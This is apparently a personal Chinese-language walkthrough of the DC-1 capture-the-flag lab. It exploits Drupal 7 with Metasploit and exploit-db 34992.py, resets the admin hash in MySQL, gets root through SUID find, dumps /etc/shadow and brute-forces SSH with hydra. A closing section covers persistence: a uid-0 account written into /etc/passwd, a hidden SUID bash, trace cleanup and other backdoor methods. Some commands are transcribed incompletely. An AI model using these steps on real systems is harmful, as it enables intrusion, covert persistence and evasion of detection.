DC-1
导入DC-1.OVA,提示报错,直接重试,导入成功,进入登录页面
拿出kali,准备获取IP地址,然后获取开放端口,最后扫描开放端口运行的服务
Nmap -sn -T4 192.168.213.0/24
这有两个不知道的IP地址,152进去有web服务,大概率是152
扫描开放端口
Nmap -A -sV 192.168.213.152
80端口运行的apache 2.2.22
这个版本的apache似乎没有漏洞
用wappalyzer看到这是Drupal 7搭建的
Whatweb也可以看
找找CMS的漏洞吧
先了解一下Drupal建站吧
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。截止2011年底,共有13,802位WEB专家参加了Drupal的开发工作;228个国家使用181种语言的729,791位网站设计工作者使用Drupal。著名案例包括:联合国、美国白宫、美国商务部、纽约时报、华纳、迪斯尼、联邦快递、索尼、美国哈佛大学、Ubuntu等。
Drupal是一套开源系统,全球数以万计的WEB开发专家都在为Drupal技术社区贡献代码。因此,Drupal的代码在安全性、健壮性上具有世界最高水平。这也是美国白宫、美国商务部、法国政府、纽约时报、SONY等著名政府和机构纷纷采用Drupal建设网站的最重要的原因。
Drupal具有业内最强的定制能力和灵活性,这也是造成Drupal学习难度太大的根本原因,这也是没有办法的事情,灵活性的提高必然使复杂程度提高。因此,Drupal技术圈内有一句名言——“Drupal有难度,学习需谨慎。”
Drupal强大的定制开发能力,也使其成为众多有技术实力的网站建设公司优先选用的网站开发平台。全世界的WEB专家都在为Drupal贡献自己的智慧,这是某个公司内部技术团队永远也无法享受到的。
Drupal的架构由三大部分组成:内核、模块、主题。三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护。
既然drupal如此强大,那么说明找它漏洞的人也一定很多,只要改系统不是最新的系统,一般情况或多或少都会存在已知的漏洞,因此我们马上想到了我们的渗透神器——matesploit
打开msfconsole
Msfconsole
Search drupal
Cat flag1.txt得到提示,说要查看配置文件,
用find / -name “settings.php”
目前meterpreter的shell不太正常,我们可以通过python得到一个交互式shell
Python -c ‘import pty;pty.spawn(“/bin/bash”)’
查看两个配置文件得到数据库账号密码
用户名前面-u 密码前面-p
Mysql -udbuser -pR0ck3t
查数据库列表
Show databases;
查看drupaldb数据库
Use drupaldb;
Show tables;
看到有users表,查看users
Select * from users;
我们看到了admin的密码hash值,但是不知道加密算法是什么,在网上找忘记密码怎么办
1.可以用find / -name “password-hash.sh”查找一下加密脚本,代码审计,代码功底不行审不出来
2.php /var/www/scripts/password-hash.sh admin 加密admin ,就是下面的
3.这里更新admin的密码update users set pass = “$S$D8yKKKzqsc2R.PZyfXmrY/R//m.mDetlFB3DU/D3srEPHqfCtyi/“ where name =’admin’;
登录进来找到了flag3
继续出发,拿到root账号密码或者添加root账号,suid提权
Cat /etc/passwd
说下一个flag在root目录里面,cat /etc/shadow说我们没有权限,我们这时候要提权了
查找具有SUID权限的可执行二进制文件。
find / -perm -u=s -type f 2>/dev/null
可以用find提权
find / -name index.php -exec “/bin/sh” \
进入子shell
并且拿到root权限,cat /etc/shadow
用户名,例如 root
加密后的密码是
$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/
其他字段表示与密码策略相关的日期和参数
Ls /root
结束,
也可以用msfconsole直接创建一个admin账号
Searchsploit drupal
Python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.213.152 -u admin3 -p admin3
msf用着不方便也可以写入webshell
也可以用ssh
一、口令登录
口令登录非常简单,只需要一条命令,命令格式为: ssh 客户端用户名@服务器ip地址 eg:
ssh ldz@192.168.0.1
如果需要调用图形界面程序可以使用 -X 选项
ssh -X ldz@192.168.0.1
如果客户机的用户名和服务器的用户名相同,登录时可以省略用户名。
ssh 192.168.0.1
还要说明的是,SSH服务的默认端口是22,也就是说,如果你不设置端口的话登录请求会自动送到远程主机的22端口。我们可以使用 -p 选项来修改端口号,比如连接到服务器的1234端口:
ssh -p 1234 ldz@192.168.0.1
二、公钥登录
每次登录远程主机都需要输入密码是很不方便的,如果想要省去这一步骤,可以利用密钥对进行连接,还可以提高安全性。
1、在本机生成密钥对
使用ssh-keygen命令生成密钥对:
ssh-keygen -t rsa #-t表示类型选项,这里采用rsa加密算法
然后根据提示一步步的按enter键即可(其中有一个提示是要求设置私钥口令passphrase,不设置则为空,这里看心情吧,如果不放心私钥的安全可以设置一下),执行结束以后会在 /home/当前用户 目录下生成一个 .ssh 文件夹,其中包含私钥文件 id_rsa 和公钥文件 id_rsa.pub。
2、将公钥复制到远程主机中
使用ssh-copy-id命令将公钥复制到远程主机。ssh-copy-id会将公钥写到远程主机的 ~/ .ssh/authorized_key 文件中
ssh-copy-id ldz@192.168.0.1
经过以上两个步骤,以后再登录这个远程主机就不用再输入密码了。
进行爆破
-l 指定破解的用户,对特定用户破解,-P 指定密码字典。
/usr/share/wordlists/rockyou.txt.gz是kali自带的。
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.213.152
权限维持:
添加账号
一般在具有root权限时可以使用以下2种方式添加root权限用户
1.通过useradd,后面账号root1/123456
useradd -u 0 -o -g root -G root root1
echo 123456:password|chpasswd
通过直接对etc/passwd文件进行写入
perl -e ‘print crypt(“123456”, “AA”). “\n”‘
#首先用perl算一下123456加密后的结果
# 123456加密后的结果为AASwmzPNx.3sg
echo “root1:AASwmzPNx.3sg:0:0:me:/root:/bin/bash”>>/etc/passwd #直接写入etc/passwd中
清理以上痕迹userdel -f root1
不添加账号时
设置sid位的文件
在具有高权限时,将高权限的bash文件拷贝隐藏起来,设置其suid位,则可后面通过低权限用户获取高权限操作
在高权限时
cp /bin/bash /tmp/.bash
chmod 4755 /tmp/.bash #设置suid
使用时带上-p参数
/tmp/.bash -p
清理痕迹
rm -rf /tmp/.bash
通过环境变量植入后门
通过ssh公钥私钥
修改sshd文件做到无认证登录
利用vim可执行python脚本预留后门
计划任务
动态加载库
太多了
文末:find提权
姿势一
find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \ -quit
姿势二
touch getshell
find / -type f -name getshell -exec “whoami” \
find / -type f -name getshell -exec “/bin/sh” \
姿势三
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
如果有find执行
touch test
find . -exec /bin/sh -p \ -quit
这时候,你就拥有了root权限的一个shell。
姿势四